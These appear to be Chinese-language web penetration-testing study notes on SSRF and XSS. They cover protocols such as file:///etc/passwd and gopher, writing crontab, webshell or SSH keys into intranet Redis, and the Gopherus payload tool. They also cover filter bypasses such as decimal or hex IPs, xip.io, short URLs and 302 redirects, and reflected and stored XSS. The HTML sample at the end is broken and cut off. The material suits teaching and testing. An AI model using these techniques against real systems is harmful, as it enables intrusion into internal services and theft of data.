查询字符串,用户将用户输入数据传递给服务端,以“?”作为标识
向服务端传递用户名密码为“?username=admin&password=admin123”。
fragment
片段ID,与query不同
其内容不会被传递到服务端,一般表示页面的锚点
SSRF漏洞一般出现在有调用外部资源的场景中,社交服务分享功能、图片识别服务、网站采集服务、远程资源请求(如wordpress xmlrpc.php)、文件处理服务(如XML解析)等
。对存在SSRF漏洞的应用进行测试时,可以尝试是否能控制、支持常见的协议,包括但不限于以下协议。
file://:从文件系统中获取文件内容
如:file:///etc/passwd。
dict://:字典服务器协议,让客户端能够访问更多字典源
在SSRF中可以获取目标服务器上运行的服务版本等信息
gopher://:分布式的文档传递服务,在SSRF漏洞攻击中作用非常大。
使用Gopher协议时,通过控制访问的URL可实现向指定的服务器发送任意内容
如HTTP请求、MySQL请求等
SSRF漏洞可以直接探测网站所在服务器端口的开放情况甚至内网资产情况,确定该处存在SSRF漏洞,可以通过确定请求成功与失败的返回信息进行判断服务开放情况
Redis运行在内网,使用者将其绑定于127.0.0.1:6379
,一般是空口令
。攻击者通过SSRF漏洞未授权访问内网Redis,可能导致任意增、查、删、改
其中的内容,甚至利用导出功能写入Crontab、Webshell和SSH公钥(使用导出功能写入的文件所有者为redis的启动用户,一般启动用户为root,如果启动用户权限较低,将无法完成攻击)。
Redis是一条指令执行一个行为
,如果其中一条指令是错误的,那么会继续读取下一条,所以如果发送的报文中可以控制其中一行,就可以将其修改为Redis指令,分批执行指令,完成攻击。如果可以控制多行报文,那么可以在一次连接中完成攻击。
攻击内网中的MySQL,需要了解其通信协议
。MySQL分为客户端和服务端
,由客户端连接服务端有4种方式:UNIX套接字、内存共享、命名管道、TCP/IP套接字
。
进行攻击依靠第4种方式
,MySQL客户端连接时会出现两种情况,是否需要密码认证
。需要进行密码认证时,服务器先发送salt,然后客户端使用salt加密密码再验证。当不需进行密码认证时,将直接使用第4种方式发送数据包。所以,在非交互模式下登录操作MySQL数据库只能在空密码未授权的情况下进行。
目标服务器 URL 发送 %0a
符号时,服务返回异常
,疑似存在漏洞。
在使用有错误的Nginx配置
的情况下,通过恶意构造的数据包
,可让PHP-FPM执行任意代码。
当Nginx使用特定的fastcgi配置
时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。当fastcgi_split_path_info字段被配置为 ^(.+?\.php)(/.*)$;
时,可造成远程代码执行漏洞。
内网中的Web应用因为无法被外网的攻击者访问到,所以往往会忽视其安全威胁。
目前已经有人总结出多种协议并写出自动转化的脚本,所以大部分情况下不需要再手动进行抓包与转换。
推荐工具:
https://github.com/tarunkant/Gopherus
该工具可以生成以下服务的payload:
MySQL (Port-3306)
PostgreSQL(Port-5432)
FastCGI (Port-9000)
Memcached (Port-11211) Redis (Port-6379)
Zabbix (Port-10050)
SMTP (Port-25)
使用Enclosed alphanumerics
代替IP中的数字或网址中的字母
,或者使用句号代替点
。
如果服务端过滤方式使用正则表达式过滤属于内网的IP地址,尝试将IP地址转换为进制
的方式绕过,将127.0.0.1转换为十六进制后进行请求,可以将IP地址转换为十进制、八进制、十六进制
,分别为2130706433、17700000001、7F000001
。在转换后进行请求时,十六进制前需加0x,八进制前需加0
,转换为八进制后开头所加的0可以为多个,IP地址有一些特殊的写法,在Windows下,0代表0.0.0.0
,而在Linux下,0代表127.0.0.1
,某些情况下可以用http://0进行请求127.0.0.1
。类似127.0.0.1这种中间部分含有0的地址,可以将0省略。
网络上存在名叫xip.io
的服务,访问这个服务的任意子域名时,都会重定向
到这个子域名,如127.0.0.1.xip.io,会解析到127.0.0.1
这种方式存在一个问题,在传入的URL中存在关键字127.0.0.1
,一般会被过滤
,可以使用短网址
将其重定向到指定的IP地址
,短网址https://dwurl.cn/pJu3vw
,。有时服务端可能过滤了很多协议,传入的URL中只允许出现“http”或“https”
,可以在自己的服务器上写一个302跳转
,利用Gopher协议攻击内网的Redis
curl -v http://baidu.127.0.0.1.xip.io
* Rebuilt URL to :http://baidu.127.0.0.1.xip.io/
* Trying 127.0.0.1 ...
* TCP_NODELAY set
* connect to 127.0.0.1 port 80 failed: Connention refuesd
* Failed to connect to baidu.127.0.0.1.xip.io prot 80:Connection refused
* Closing connection 0
curl: (7) Failed to connect to baidu.127.0.0.1.xip.io port 80:Connection refused
跨站脚本攻击(Cross-Site Scripting,XSS)网站应用程序的安全漏洞攻击,代码注入的一种,允许用户将恶意代码注入网页,其他用户在观看网页时会受到影响。这类攻击通常包含HTML和用户端脚本语言
。XSS攻击通常是通过利用网页开发时留下的漏洞
,巧妙注入恶意指令代码到网页
,使用户加载并执行攻击者恶意制造的网页程序
。恶意网页程序通常是JavaScript
,实际上可以包括Java、VBScript、ActiveX、Flash或者普通的HTML
。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)
、私密网页内容、会话和Cookie等内容
。XSS攻击是代码注入的一种。很多网站给关键Cookie增加了HTTP Only属性
,导致执行JavaScript无法获得用户的登录凭证
(即无法通过XSS攻击窃取Cookie登录对方账号),虽然同源策略限制了JavaScript跨域执行的能力,但是XSS攻击依然可以理解为在用户浏览器上的代码执行漏洞,实现模拟用户的操作(文件上传等请求)
根据XSS漏洞点的触发特征
XSS可以粗略分为反射型XSS、存储型XSS
反射型XSS通常是指恶意代码未被服务器存储
每次触发漏洞的时候都将恶意代码通过GET/POST方式提交,触发漏洞。
存储型XSS则相反,恶意代码被服务器存储
在访问页面时会直接被触发(如留言板留言等场景)
一个简单的反射型XSS
,变量输入点没有任何过滤
直接在HTML内容中输出,可以向网页中注入恶意的标签和代码,实现功能。但是这样的payload会被Google Chrome等浏览器直接拦截
,无法触发,因为这样的请求(GET参数中的JavaScript标签代码直接打印在HTML中)符合Google Chrome浏览器XSS过滤器(XSS Auditor)的规则,被直接拦截。换用FireFox浏览器,输入的数据被拼接到HTML内容中,被输出到一些特殊的位置,如标签属性、JavaScript变量的值
,此时通过闭合标签或者语句可以实现payload的逃逸
。又如,输入被输出到了标签属性的值中,通过在标签属性中注入on事件
,可以执行恶意代码
<!DOCTUPE html>
hello</title>
</head>
hello {输入点}</h1>
</body>
</html>
<!DOCTUPE html>
hello</title>
</head>
hello